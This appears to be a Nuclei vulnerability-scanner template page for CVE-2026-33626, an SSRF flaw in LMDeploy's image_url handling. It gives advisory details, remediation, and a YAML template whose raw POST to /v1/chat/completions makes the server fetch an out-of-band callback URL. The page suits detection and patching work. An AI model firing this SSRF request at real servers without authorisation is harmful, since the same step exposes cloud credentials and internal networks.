CVE-2026-33626: LMDeploy - Server-Side Request Forgery
- Template: CVE-2026-33626
- Name: LMDeploy - Server-Side Request Forgery
- Description: LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.
- Impact: An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.
- Remediation: Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.
- Severity: high
- Authors: theamanrawat
- Tags: cve, cve2026, lmdeploy, ssrf, oast, llm, vkev, unauth
- References: https://github.com/advisories/GHSA-6w67-hwm5-92mq, https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq, https://nvd.nist.gov/vuln/detail/CVE-2026-33626
- Cves: CVE-2026-33626
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-33626.yaml
- Digest: 4a0a0047304502201be80891c6dfb1e4400cbee8671fde17bbf4f016bbbdaaf398c15eefb536986e022100e42374a58858292e341e7934a28aeaa265aa8009d41821bbe958ac936e361f2b
- Created at: 2026-04-30T15:41:27Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 208
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-33626.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-918
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.4525
- Epss percentile: 0.98817
- Not known: cpe
Metadata
- Max-request: 2
- Product: lmdeploy
- Vendor: internlm
- Checked, none or zero: verified
Products
| Product | Indexed | Url |
|---|---|---|
| internlm:lmdeploy | yes | /v1/products/internlm/lmdeploy |
Labels
- Name: LMDeploy - Server Side Request Forgery
- Impact: Attackers can access internal networks and sensitive resources, potentially leading to information disclosure and further network compromise.
- Remediation: Update to version 0.12.3 or later.
- Vulnerability type: server_side_request_forgery
- Vulnerability impact: server_side_request_forgery, information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-33626
- Not known: requirements
```yaml
id: CVE-2026-33626
info:
name: LMDeploy - Server-Side Request Forgery
author: theamanrawat
severity: high
description: |
LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.
impact: |
An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.
remediation: |
Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.
reference:
- https://github.com/advisories/GHSA-6w67-hwm5-92mq
- https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
- https://nvd.nist.gov/vuln/detail/CVE-2026-33626
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-33626
epss-score: 0.4525
epss-percentile: 0.98817
cwe-id: CWE-918
metadata:
verified: false
max-request: 2
vendor: internlm
product: lmdeploy
tags: cve,cve2026,lmdeploy,ssrf,oast,llm,vkev,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/v1/models"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "lmdeploy")'
condition: and
internal: true
- raw:
- |
POST /v1/chat/completions HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"model":"internlm-xcomposer2","messages":[{"role":"user","content":[{"type":"text","text":"Describe this image"},{"type":"image_url","image_url":{"url":"http://{{interactsh-url}}"}}]}]}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "http")'
- 'contains(interactsh_request, "User-Agent")'
condition: and
digest: 4a0a0047304502201be80891c6dfb1e4400cbee8671fde17bbf4f016bbbdaaf398c15eefb536986e022100e42374a58858292e341e7934a28aeaa265aa8009d41821bbe958ac936e361f2b:922c64590222798bb761d5b6d8e72950
```